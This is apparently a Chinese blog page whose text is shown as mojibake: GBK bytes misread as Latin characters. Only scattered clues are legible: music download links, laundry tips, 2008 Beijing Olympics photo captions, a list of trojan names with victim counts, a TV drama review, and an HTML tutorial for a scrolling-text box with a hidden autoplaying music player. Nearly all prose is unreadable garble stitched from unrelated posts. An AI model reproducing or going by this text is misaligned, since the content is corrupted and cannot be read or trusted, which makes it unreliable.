Èçϲ»¶²¢ÐèÒªÊղصÄÅóÓÑ,Çë»Ø¸´¸úÌù,ÎÒ½«ÔÚ24СʱÄÚ°ÑÒôÀÖÏÂÔصØַͨ¹ýÏûÏ¢·¢Ë͵½ÄãµÄ²©¿Í!

¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡¡Ïà¹ØÁ´½Ó¡¡¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª

ͯÀò¡¶ÀäÑÞ¾øÇé Õæ¿Õ¹Ü¢Ü DSD¡·

ͯÀò¡¶ÀäÑÞ¾øÇé Õæ¿Õ¹Ü¢Û DSD¡·

ͯÀò¡¶ÀäÑÞ¾øÇé Õæ¿Õ¹Ü¢Ú DSD¡·

ͯÀò¡¶ÀäÑÞ¾øÇé Õæ¿Õ¹Ü¢Ù DSD¡·

×ÊÔ´Æ·ÖÊ£º320KMP3

µã»÷ÏÂÔØ£º

¾­µäÊÓÌý£­ÖìÏèÑ㡶Ô¹âϵķïβÖñ¡·.part1.rar

¾­µäÊÓÌý£­ÖìÏèÑ㡶Ô¹âϵķïβÖñ¡·.part2.rar

½«ÒÔÏÂ2ÎļþÔØÈëͬһĿ¼Ï½â"¾­µäÊÓÌý - ³å¶¯Ò»·ÖÖÓ¢ò DSD.part1.rar "

¾­µäÊÓÌý - ³å¶¯Ò»·ÖÖÓ¢ò DSD.part1.rar

¾­µäÊÓÌý - ³å¶¯Ò»·ÖÖÓ¢ò DSD.part2.rar

¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡¡Ïà¹ØÁ´½Ó¡¡¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª

¡¶³å¶¯Ò»·ÖÖÓ¢ò DSD¡·

¡¶³å¶¯Ò»·ÖÖÓ DSD¡·

Å£×пãµÄÏ´µÓ·½·¨£¨ÌرðÊÇÉîÉ«µÄ£©
1.Èç¹ûÊÇÂò»ØÀ´µÚÒ»´ÎÏÂË®,ÄÇÐèÒªÔÚË®Öе¹Ò»Ð©°×´×,ͬʱ°Ñ¿ã×Ó·­×ª¹ýÀ´½þʪ´óÔ¼°ëСʱ,ÓÃÀ´ËøסÑÕÉ«.ÒòΪÉîÉ«µÄ¿ã×ӱض¨»áÓÐÉÙÐíµÄÍËÉ«,¶ø°×´×¿ÉÒÔÈÃÄÇÖÖÕ¿À¶É«¾¡Á¿±£³ÖÔ­ÓеĹâÔó.
2.ÇëǧÍò±ðÓÃÈÈË®½þÅÝ¿ã×Ó,ÄÇ»áÓкܴó³Ì¶ÈµÄËõË®ÏÖÏó,Ò»°ãË®ÎÂÔÚ30¶È×óÓÒ¼´¿É.Èç¹ûÌõ¼þÔÊÐí,Çë²»ÒªÓÃÏ´Ò»úÏ´Å£×пã,ÄÇÑù»áÆÆ»µ¿ã×ÓµÄñÞÖå¸Ð,Åöµ½Ô­É«¿ã×Ó,ÄÇ¿ãÉíµÄ×ÔȻĥ°×Ò²»á±äµÄ²»×ÔÈ»¡£²»ÒªìÙÌÌ£¬±£³Ö×ÔÈ»µÄ¿ãÐÍ¡£
3.Ï´µÄʱºòÒ»¶¨Òª¼Çס½«ÀïÃæ·­¹ýÀ´Ï´£¬¿ÉÒÔÓÐЧ¼õÉÙÍÊÉ«¡£Èç¹ûÅ£×п㲻ÊÇÓÐÓÍÎÛ»òÆäËûÌرð°¹ÔàÇéÐÎʱ£¬¾¡¿ÉÄܼõÉÙÏ´ÒÂÒº£¨ÖÐÐÔ£©ÓÃÁ¿£¨¾¡Á¿²»ÒªÓÃÏ´Ò·ۣ¬¼îÐÔÏ´Ò·ۺÜÈÝÒ×ÈÃÅ£×пãÍÊÉ«£©£¬ÉõÖÁ¿ÉÇåˮϴµÓ¼´¿É¡£
3.½«Å£×пãÕۺ㬷ÅÈëÏ´Ò´üÑY(»òʹÓÃÊÖÏ´)£¬Çå½à¼ÁÇëʹÓÃÏ´Í뾫(ÒòΪһ°ãÏ´Ò·ÛΪÁËÓнà°×µÄЧ¹û)£¬³É·ÝÖж¼º¬ÉÙÐíµÄƯ°×¼Á£¬¹ÊÅ£×пãÈÝÒ×µôÉ«£¬Ï´Í뾫²»º¬Æ¯°×¼Á£¬³ýÁËÓÐÇå½àµÄЧ¹ûÍ⣬»¹¿ÉÈ¥ÓÍ×Õ)¡£
4.´ÓÑü²¿¹ÒÆ𣬷­¹ýÀ´ÁÀɹ£¬ÁÀÔÚ¸ÉÔïͨ·ç´¦£¬±ÜÃâÑô¹â±©É¹£¬ÈÝÒ×Òý·¢ÑÏÖصÄÑõ»¯ÍÊÉ«¡£
5.Èç¹ûÒªÍÑË®£¬Í¬ÑùÒª·­¹ýÀ´ÍÑË®£¬Ê±¼ä²»ÒªÌ«³¤£¬Ò»·ÖÖӾͿÉÒÔÁË¡£

ÈýÐÇÊÔÒôµúÏÂÔØ£º

01.ÒôÀַ籩[DSCO]

08.Ò¹À´Ïã[DSCO]

07.õ¹å»¨[DSCO]

02.Ñ׻ƵÚÒ»¹Ä

03.MIVOVING(´ó¹Ä)

04.´æÔÚ(ÉñÃØÔ°)

05.ÎÒ²»Ïë˵

06.Á½Ç§ÄêµÈÒ»»Ø

09.Ô¹âϵķïβÖñ

10.ÆƲ£Á§Éù

11.ÌÒ»¨ÔË

12.Ó¢Â×µÄÊ¿¸ß

13.Ò»¸öÕæʵµÄ¹ÊÊÂ

ÏÂÔصķ½·¨£ºÓÃÓÒ¼üµã»÷ÇúÄ¿²é¿´ÊôÐÔ--¸´ÖƵØÖ·--¼ÓÔص½WMPÎļþµÚ¶þÐÐÀï--ÓõÚÈýÐС°Áí´æΪ¡±ÏÂÔؼ´¿É

¡¾Á÷Ðо­µä¡¿£º·ÖÏí×îÁ÷ÐеĸèÇúÓë×î¾­µäµÄ¼Òô...»¶Ó­¸÷λÅóÓѹâÁÙ,ÈÃÎÒÃDZ˴˷ÖÏí,ÓÃÒôÀÖ½»Á÷£¡

ѤÀöÑæ»ðÕÃÏÔ´óÆø

Äñ³²³¡ÄÚÍâѤÀöÑæ»ðÕñ·ÜÈËÐÄ

µÚ29½ì°ÂÔË»á¡ÖØ¿ªÄ»

Äñ³²

Ìì°²ÃÅ

ÓÀ¶¨ÃÅ

ÈËÃñ´ó»áÌÃ

ÌìÃŹ㳡µ¹¼ÆʱÅÆ

¿ªÄ»Ê½¾«²ÊͼƬ

µÚ29½ì°ÂÔË»á¡ÖØ¿ªÄ»

ÎåÐǺìÆìÉÁÒ«¹úÌåÄñ³² ±±¾©°ÂÔ˻ῪĻʽ

¿ªÄ»Ê½¾«²ÊͼƬ

µÚ29½ì°ÂÔË»á¡ÖØ¿ªÄ»

¿ªÄ»Ê½¾«²ÊͼƬ

¿ªÄ»Ê½µ¹¼Æʱ£¬ÉÏΪÖÐÎÄÊý×Ö£¬ÏÂΪ°¢À­²®Êý×Ö

¿ªÄ»Ê½¾«²ÊͼƬ

°ÂÔËÉÏÑÝÃÔÈË·ÉÌìÎè

¡°î«¡±¿ªÄ»

¿ªÄ»Ê½Éϵľ«²Ê¾øÂ×±íÑÝ

¾«²Ê¾øÂ×µØÑݳö

Ï£À°Ô˶¯Ô±È볡

ÀµÊ¥Èص£µ±ÖлªÌ¨±±¶ÓÆìÊÖ

мÓÆÂÔ˶¯Ô±È볡

¸£Ô­°®µ£µ±ÈÕ±¾¶ÓÆìÊÖ

ÃÀ¹úÔ˶¯Ô±È볡

ÄÏ·ÇÔ˶¯Ô±È볡

µÂ¹úÔ˶¯Ô±È볡

Òâ´óÀûÔ˶¯Ô±È볡

ÐÂÎ÷À¼Ô˶¯Ô±È볡

²¨À¼Ô˶¯Ô±È볡

º«¹úÔ˶¯Ô±È볡

ÂíÀ´Î÷ÑÇÔ˶¯Ô±È볡

ÎÚ¿ËÀ¼Ô˶¯Ô±È볡

¶íÂÞ˹Ô˶¯Ô±È볡

·¨¹úÔ˶¯Ô±È볡

Ó¢¹úÔ˶¯Ô±È볡

`

°×¶íÂÞ˹Ô˶¯Ô±È볡

Î÷°àÑÀÔ˶¯Ô±È볡

¼ÓÄôóÔ˶¯Ô±È볡

Ó¡¶ÈÔ˶¯Ô±È볡

ÖйúÏã¸ÛÔ˶¯Ô±È볡ʽ

ÔÚ¿ªÄ»Ê½ÎÄÒÕ±íÑݽáÊøÖ®ºó£¬½øÐÐÁËÔ˶¯Ô±È볡ÒÇʽ¡£°´ÕÕÀú½ì°ÂÔË»á¹ßÀý£¬¶«µÀÖ÷Öйú°ÂÔË´ú±íÍŽ«Ñ¹ÖáµÇ³¡¡£ÔÚÖйú°ÂÔË´ú±íÍÅÆìÊÖÒ¦Ã÷µÄÂÊÁìÏ£¬Öйú¾üÍÅ»º»º²½ÈëÖ÷ÌåÓý³¡£¬È«³¡ÕÆÉùÀ׶¯¡£ÆìÊÖÒ¦Ã÷Æ®Ñï×ÅÎåÐǺìÆ죬Íþ·çÁÝÈ»¡£

Ò¦Ã÷ÕâÊǵڶþ´Îµ£ÈÎÖйú´ú±íÍÅÆìÊÖ¡£ÔÚËÄÄêÇ°µÄÑŵä°ÂÔË»áÉÏ£¬ËûͬÑùÊÖ³ÖÖйú¹úÆì×ßÔÚÖйú´ú±íÍŵÄ×îÇ°Ãæ¡£¶ø2.26Ã×µÄÉí¸ß¡°Ò¦¾ÞÈË¡±£¬ÎÞÒÉÒ²ÊǸ÷¹ú´ú±íÍÅÖк£°Î×î¸ßµÄÆìÊÖ¡£

°ÂÁÖÆ¥¿Ë»áÆìÈ볡

ÕÅâùÄþ£¨ÓÒ£©´ú±íÔ˶¯Ô±ÐûÊÄ

×îºó¼¸°ô»ð¾æÊÖÔÚ¹ú¼ÒÌåÓý³¡ÄÚ¹Û¿´µãȼÖ÷»ð¾æËþÒÇʽ

±±¾©°ÂÔË»áÀîÄþµãȼÖ÷»ð¾æ

ÀîÄþµãȼÖ÷»ð¾æ

8ÔÂ8ÈÕ¾ÙÐеı±¾©°ÂÔ˻ῪĻʽÉÏ£¬×¶¯ÈËÐĵľÍÊǵã»ð»·½Ú£¬Ñ¹ÖáµÄ¡°Ìå²ÙÍõ×Ó¡±ÀîÄþÒÔ¡°¿ÕÖзÉÈË¡±µÄ·½Ê½µãȼÁËÉèÔÚ¹ú¼ÒÌåÓý³¡¡°Äñ³²¡±µÄ±±¾©°ÂÔËÖ÷»ð¾æ̨¡£°ÂÔËÊ¥»ðµãȼµÄö®Ê±¼ä£¬Ñæ»ð¡¢»¶ºôÈÚ³ÉÁ˽ñÍí¡°Äñ³²¡±µÄ×îÇ¿Òô¡£

±¾ÖÜÖصãľÂíÐÅÏ¢

¡¡¡¡Ä¾ÂíÃû³Æ£ºTrojan/Win32.IEprot.jcs¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºÄ¾ÂíÏÂÔØÆ÷¼°ÆäÏÂÔصĸ÷ÖÖµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º535Íò

¡¡¡¡Ä¾ÂíÃû³Æ£ºTrojan/Win32.AutoRV.lwl¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºÄ¾ÂíÏÂÔØÆ÷¼°ÆäÏÂÔصĸ÷ÖÖµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º367Íò

¡¡¡¡Ä¾ÂíÃû³Æ£ºTrojan/Win32.RGD.saf¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºÄ¾ÂíÏÂÔØÆ÷¼°ÆäÏÂÔصĸ÷ÖÖµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º289Íò

¡¡¡¡Ä¾ÂíÃû³Æ£ºTrojan/Win32.SuperKiller.jcj¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºÄ¾ÂíÏÂÔØÆ÷¼°ÆäÏÂÔصĸ÷ÖÖµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º78Íò

¡¡¡¡Ä¾ÂíÃû³Æ£ºTrojanDownloader/Win32.Agent.yip¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º38Íò

¡¡¡¡Ä¾ÂíÃû³Æ£ºRootKit/Win32.RESSDT.al¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º16Íò

¡¡¡¡Ä¾ÂíÃû³Æ£ºTrojan/Win32.PSW.GameDLL.Gen¼°Æä±äÖÖ
¡¡¡¡Ä¾ÂíÀàÐÍ£ºµÁºÅľÂí
¡¡¡¡Êܺ¦Èº£º8Íò
Ê×ÏȾ¡Á¿±ÜÃâÔÚ¹«ÓÃÍøÂçÊäÈëÕÊ»§¡¢ÃÜÂë¡£Èç¹ûÒ»¶¨ÒªÔÚ¹«ÓÃÍøÂç½øÐÐÕʺÅÃÜÂëµÈ²Ù×÷µÄʱºò£¬Çë¼ì²éһϵçÄÔÊÇ·ñ°²×°ÓÐɱ¶¾µÈ°²È«Èí¼þ¡£Æä´Î£¬²ÉÈ¡Ö÷¶¯·ÀÓùµÄ°ì·¨£¬

½ü¶Îʱ¼äÑëÊÓ²¥·Åº£¾üÌâ²ÄµÄÁ¬Ðø¾ç¡¶Æì½¢¡·£¬ÎÒºÍÏÈÉúÿÌìÍíÉϱػá×øÔÚµçÊÓ»úÇ°ÊÕ¿´¡£ÓÉÓÚÓ뺣¾üûÓÐÌ«¶à½Ó´¥£¬¶ÔÆäרҵ֪ʶ֪֮ÉõÉÙ£¬²»¸ÒÍý¼ÓÆÀÂÛ¡£µ«¶Ô¾çÖеÄһЩÇé½ÚÈ缸¶ÔÄêÇá¾üÈ˵ÄÁµ°®Ãèд¡¢ÔçÄê÷ÐÓ¶ùµÄ¶ªÊ§ÒÔ¼°Ö£Ô¶º£ÃÃÃóµ»ö¡¢½ªÏ²×ÓÎþÉüÇé½ÚµÈ£¬ ÎÒ¾õµÃÓÐЩ¹ýÁË£¬ÓÐЩϸ½Ú²»Õæʵ¡£

ÆäÒ»£¬²¿¶Ó¸É²¿Ì¸Áµ°®ÊǺÜÕý³£µÄÊÂÇ飬¿ÉÔÚÕⲿµçÊÓ¾çÀ¼¸¸öÖ÷ÒªÈËÎïµÄÁµ°®¶¼²»Ì«Õý³££¬Äã°®ÎÒ¡¢ÎÒ²»°®Ä㣬ʱ²»Ê±³öÏÖһЩÈÃÈË¿´²»¶®µÄ²¨ÕÛ£¬¾ÍÏñÓеÄÍøÓÑ˵µÄ£¬¡°Èý½ÇÁµ¡¢ËĽÇÁµ¡±¡£×÷ΪһÃûÀϱø£¬²»Ô޳ɽ«¾üÈ˵İ®ÇéÓÃÕâÖÖÒÕÊõÊÖ·¨±íÑݳöÀ´£¬²»·ûºÏ¾ü¶ÓµÄʵ¼ÊÇé¿ö¡£¿ÉÒÔÓÃÓÑÇé¡¢°®ÇéΪºæÍУ¬Ú©¸è¾üÈËΪ¹ú·ÀÊÂÒµËù×ö³öµÄÎþÉüºÍ·îÏ×£¬µ«²»ÄÜ̫ǣǿ¡¢Ì«¸´ÔÓ¡£

Æä¶þ£¬¸Ð¾õµ¼Ñݺͱà¾çÉîÈ벿¶ÓÌåÑéÉú»î²»¹»£¬ÔÚһЩÇé½Ú´¦ÀíÉÏ£¬²»¹»½÷É÷£¬Èçµ½µ×ÊÇÓªÇøµÄ»¨Ô°ÀﻹÊÇÓªÇøÍ⹫԰ÈÃÈ˰Ѻ¢×Ó±§×ß(ûÓп´¶®)ÓÖËÍ»ØÔ­µØ£¬Ã·µÂ¹ó¡°µÈѽµÈ£¬Ã»ÈË»ØÀ´ÕÒ¡±¡­¡­¡£Îª´Ë£¬Ôì³É³»´³ÉºÝºÝ´òÁËÖ£Ô¶º£°Ö°ÖÖ£¼½Ò»¶ú¹â£¬µ±È»»¹Óа˺ź£Óòʹʣ¬½«Æä´¦Àí¸´Ô±»Ø¼Ò£¬Á½¼þʲôºÏÔÚÒ»Æð£¬Ë½È˸ÐÇé¡¢¹¤×÷Ô­Òò¿´²»Ì«Ã÷°×¡£

³»´³ÉÓëʧɢ¶þÊ®¼¸ÄêÅ®¶ù½üÔÚåë³ß£¬ÎÞ·¨ÏàÈÏ¡£Æ¾Ò»ÕÅÏàƬ÷ÐÓ¶ù¶Ô×Ô¼ºµÄÉí·Ý²úÉúÒÉÎÊ£¬ºóÀ´½ö¿¿Ò»¸öС²¦À˹ģ¬¸¸Å®ÏàÈÏ£¬ÓÐЩͻȻ£¬Àí½âΪ¡°ÎÞÇɲ»³ÉÊ顱¡£

ÆäÈý£¬º£¾ü»ùµØÃÅ¿Ú¿ª¾Æ°É£¬ÕæʵµÄÇé¿ö²»Á˽⣬ÊDz»Êǽ¢¶ÓÃÅ¿Ú¾ÍÓÐÕâÑùµÄ¾Æ°É£¿¶øÇÒÒ»·²»¹¾­³£ÄÃ×ÅÍûÔ¶¾µ²tÍû¾ü½¢µÄÐж¯¡£¸öÈËÈÏΪ£¬´Ó±£ÃܵĽǶÈÓ¦¸ÃÊDz»ÔÊÐíµÄ¡£Ò²ÐíÕâÊDZർÃÇΪÁË´ÓÉú»îµÄ½Ç¶È½â¶ÁÈËÃñº£¾ü³ýÁ˺£ÉϽôÕŵÄѵÁ·£¬»¹ÒªÓпìÀÖ¡¢ÀËÂþ¡¢ÃÔÈ˵ÄÉú»î°É£¡

ϸ½Ú¾ö¶¨³É°Ü£¬Èç¹û¡¶Æì½¢¡·ÖеÄϸ½Ú´¦ÀíµÃºÃһЩ¡¢ÑϽ÷һЩ£¬ÎÒÏ룬ÕâÓ¦¸ÃÊÇÒ»²¿ºÜ²»´íµÄµçÊӾ硣

´ÓÐÄÀï˵¶ÔÓÚ¾çÖÐÑÝÔ±µÄ±íÑÝ»¹ÊǺÜϲ»¶µÄ¡£¾çÖеÄÈËÎ֣Զº£¡¢³Â½¨¾ü¡¢ÄϿ˽­¡¢ÇØ˼æá¢Ã·ÐÓ¡¢Â³»´³É¡¢½ªÏ²×ӵȶ¼ÈÃÈËϲ»¶¡£

×î½ü£¬ºÃ¶à²©ÓѶ¼ÎÊÒô»­Ôõô×÷£¬ÕâÀïÎҽ̴ó¼ÒÖÆ×÷Ò»¸ö¼òµ¥µÄÒô»­¹ý³Ì¡£¡¶Í¼Æ¬¼ÓÉÏÉýÎÄ×Ö¡·ÕâÀïµÄÎÄ×ÖÄã¿ÉÒÔÊÇÊ«¾ä¡¢ÈÕÖ¾ÄÚÈݵȵȡ£

Ê×ÏÈҪ׼±¸ºÃËزġ£

    ÎÒÃÇÏÈ¿´ÏÂÃæµÄ´úÂ룬ÎÒ°´´úÂëÀïËùÒªÇóµÄËزĽ²£¬ÕâÑù´ó¼Ò»á¿´µÄÇå³þ¡£

<TABLE height=400 cellPadding=1 width=450 align=center background=ͼƬ±³¾°µØÖ· order=3 table="0">

<TBODY>

<TR>

<TD>

<MARQUEE style="WIDTH: 445px; HEIGHT: 120px" scrollAmount=1 direction=up height=120>

<DIV align=center><FONT face=¿¬Ìå_GB2312 color=#ff000 size=6><BR><BR><BR><BR><BR><BR><BR><BR><BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR></FONT></DIV></FONT></MARQUEE>

<EMBED  style="LEFT: 1px; HEIGHT: 0px" src=¸èÇúµØÖ·  width=1 height=1 type=audio/x-ms-wma loop="TRUE" autostart="TRUE"></embed>

´ÓÉÏÃæµÄ´úÂëÖÐÎÒÃÇ¿ÉÒÔ¿´³ö£¬ÊÇÓÐÈý²¿·Ö´úÂë×é³ÉµÄ¡£

µÚÒ»²¿·Ö£º

<TABLE height=400 width=400 align=center background=±³¾°Í¼Æ¬µØÖ· border=0>

<TBODY>

<TR>

<TD> <DIV align=right twffan="done">

<MARQUEE scrollAmount=1 scrollDelay=100 direction=down behavior=slide width=400 height=300>

µÚ¶þ²¿·Ö£º

<MARQUEE style="WIDTH: 445px; HEIGHT: 120px" scrollAmount=1 direction=up height=120>

<DIV align=center><FONT face=¿¬Ìå_GB2312 color=#ff000 size=6><BR><BR><BR><BR><BR><BR><BR><BR><BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR>ÎÄ×Ö<BR></FONT></DIV></FONT></MARQUEE>

 µÚÈý²¿·Ö£º

<EMBED             style="LEFT: 1px; HEIGHT: 0px" src=¸èÇúµØÖ· width=1 height=1 type=audio/x-ms-wma loop="TRUE" autostart="TRUE"></embed>

£¨ÕâÊÇÒ»¸öÒþ²Ø²¥·ÅÆ÷´úÂ룩

¿´¶®ÁËÂð£¿ÄÇÎÒÃǾͿªÈç×¼±¸¡£

Ò»¡¢×¼±¸±³¾°Í¼Æ¬

˵Ã÷£º±³¾°Í¼Æ¬×îºÃÊÇ´æÔÚ×Ô¼ºµÄÏà²áÀÄÇÄãÒªÊÂÏÈ°ÑͼƬÉÏ´«µ½×Ô¼ºµÄÏà²áÀï´ýÓᣣ¨´«Í¼Æ¬´ó¼Ò¶¼»áµÄ£¬ÕâÀï¾Í²»½²ÁË¡££©ÄǵÚÒ»²¿·Ö´úÂëÖеġ°±³¾°Í¼Æ¬µØÖ·¡±Ôõô²éÕÒ¡£

1¡¢Ôڵǽ״̬Ï¡ú

2¡¢µã»÷Ïà²á¡ú

3¡¢¿´µ½ÄãÑ¡ÖеÄͼƬ˫»÷¡ú

4¡¢µã»÷ÓÒ¼ü¡ú

5¡¢µã»÷ÊôÐÔ ¡ú   

ÕâʱÄã»á¿´µ½ÏÂÃæÏÔʾ

6¡¢°ÑµØÖ·£¨URL£©ºóÃæµÄµØÖ·¸´ÖÆ£¬Õ³Ìùµ½µÚÒ»²¿·Ö´úÂëÖеġ°±³¾°Í¼Æ¬µØÖ·¡±¡£

¶þ¡¢×¼±¸Í¼Æ¬ÉÏÉýµÄÎÄ×ÖÄÚÈÝ£¬Äã×Ô¼ºÑ¡¶¨¡£µ«ÎÄ×ÖÇ°ºóÃæ¡´BR¡µÊÇ»»ÐеÄÒâ˼¡£ÄãÖ»ÒªÌí¼Ó×ÖÌåµ÷Õû¼´¿É¡£

Èý¡¢×¼±¸ºÃÒ»Ê×MP3»òwma¸ñʽµÄÒôÀÖ»ò¸èÇú¡£¸´ÖÆ£¬Õ³Ìùµ½µÚÈý²¿·Ö´úÂëÖеġ°¸èÇúµØÖ·¡±¡£

ÎÒÕâÀï×¼±¸ºÃÈý¸ö²¿·ÖµÄËزģº

±³¾°Í¼Æ¬µØÖ·£º

http://img.blog.163.com/photo/QcQf-_sW2j0QXzVuk7_Vlg==/1731352581747480155.jpg

ÎÄ×ÖÄÚÈÝ£º

Ì«ºþÃÀѽ̫ºþÃÀ£¬ÃÀ¾ÍÃÀÔÚÌ«ºþˮˮÉÏÓа׷«ÄÄ°¡£¬Ë®ÏÂÓкìÁâÄÄ°¡£¬Ë®±ß«έÇ࣬ˮµ×ÓãϺ·Ê£¬ºþˮ֯³ö¹à¸ÈÍø£¬µ¾Ïã¹ûÏãÈƺþ·É£¬°¥¿Èà¡£¬Ì«ºþÃÀѽ̫ºþÃÀ¡£Ì«ºþÃÀѽ̫ºþÃÀ£¬ÃÀ¾ÍÃÀÔÚÌ«ºþË®£¬ºìÆìÓ³Â̲¨ÄÄ°¡£¬´º·çºþÃæ´µÄÄ°¡£¬Ë®ÊÇ·áÊվƣ¬ºþÊDZÌÓñ±­£¬Ê¢³öÉîÇéÏ׳ö°®£¬Åõ¸ø×æ¹ú±¨´ºêÍ£¬°¥¿Èà¡£¬Ì«ºúÃÀѽ̫ºþÃÀ¡£

¸èÇúµØÖ·£º

http://218.56.9.124/music/taihu.mp3

ÏÂÃæÎÒÃÇ°ÑÕâÈý²¿·ÖÌí¼Óµ½´úÂëÖУº

<TABLE height=400 cellPadding=1 width=450 align=center background=http://img.blog.163.com/photo/QcQf-_sW2j0QXzVuk7_Vlg==/1731352581747480155.jpg border=3 table="0">

<TBODY>

<TR>

<TD>

<MARQUEE style="WIDTH: 445px; HEIGHT: 120px" scrollAmount=1 direction=up height=120>

<DIV align=center><FONT face=¿¬Ìå_GB2312 color=#ff000 size=6><BR><BR><BR><BR><BR><BR><BR>Ì«ºþÃÀѽ̫ºþÃÀ<BR>ÃÀ¾ÍÃÀÔÚÌ«ºþË®<BR>Ë®ÉÏÓа׷«ÄÄ°¡<BR>Ë®ÏÂÓкìÁâÄÄ°¡<BR>Ë®±ß«έÇà<BR>Ë®µ×ÓãϺ·Ê<BR>ºþˮ֯³ö¹à¸ÈÍø<BR>µ¾Ïã¹ûÏãÈƺþ·É<BR>°¥¿Èà¡<BR>Ì«ºþÃÀѽ̫ºþÃÀ<BR>Ì«ºþÃÀѽ̫ºþÃÀ<BR>ÃÀ¾ÍÃÀÔÚÌ«ºþË®<BR>ºìÆìÓ³Â̲¨ÄÄ°¡<BR>´º·çºþÃæ´µÄÄ°¡<BR>Ë®ÊÇ·áÊÕ¾Æ<BR>ºþÊDZÌÓñ±­<BR>Ê¢³öÉîÇéÏ׳ö°®<BR>Åõ¸ø×æ¹ú±¨´ºêÍ<BR>°¥¿Èà¡<BR>Ì«ºúÃÀѽ̫ºþÃÀ<BR></FONT></DIV></FONT></MARQUEE>

<EMBED   style="LEFT: 1px; HEIGHT: 0px" src=http://218.56.9.124/music/taihu.mp3 width=1 height=1 type=audio/x-ms-wma loop="TRUE" autostart="TRUE"></embed>

ÎÒÃÇ°ÑÈý¸ö²¿·Ö¶¼ÌíºÃºó°Ñ´úÂëÕ³Ìùµ½ÈÕÖ¾»ò×Ô¶¨ÒåÄ£¿é.¾Í»á³öÏÖÏÂÃæµÄЧ¹ûÁË.

Ì«ºþÃÀѽ̫ºþÃÀ ÃÀ¾ÍÃÀÔÚÌ«ºþË® Ë®ÉÏÓа׷«ÄÄ°¡ Ë®ÏÂÓкìÁâÄÄ°¡ Ë®±ß«έÇà Ë®µ×ÓãϺ·Ê ºþˮ֯³ö¹à¸ÈÍø µ¾Ïã¹ûÏãÈƺþ·É °¥¿Èà¡ Ì«ºþÃÀѽ̫ºþÃÀ Ì«ºþÃÀѽ̫ºþÃÀ ÃÀ¾ÍÃÀÔÚÌ«ºþË® ºìÆìÓ³Â̲¨ÄÄ°¡ ´º·çºþÃæ´µÄÄ°¡ Ë®ÊÇ·áÊÕ¾Æ ºþÊDZÌÓñ±­ Ê¢³öÉîÇéÏ׳ö°® Åõ¸ø×æ¹ú±¨´ºêÍ °¥¿Èà¡ Ì«ºúÃÀѽ̫ºþÃÀ

¡ï ÖÃÈ벩¿ÍÊ×Ò³µÄ·½·¨£º

  1. ½øÈë¿ì½Ý¹¤¾ßÀ¸£¨²©¿ÍÊ×Ò³×óÉϽǣ©¡ú 2. µã×°°ç²©¿Í¹¤¾ßÀ¸¡ú  3. µãÉèÖÃÊ×Ò³ÄÚÈÝ¡ú

  4. µãÌí¼Ó×Ô¶¨ÒåÄ£¿é¡ú 5. ¸´ÖÆÉÏÊöÓï·¨ááÕ³ÌùÉÏ¡ú  6. µãÈ·¶¨¡ú  7. ½«Ä£¿éÒƵ½ÏëÒªÏÔʾµÄλÖáú

  8. µã±£´æÐ޸ģ¨²©¿ÍÊ×Ò³ÓÒÉϽǣ©£¬¼´¿É¡£

¡ï ÖÃÈëÈÕÖ¾µÄ·½·¨£º

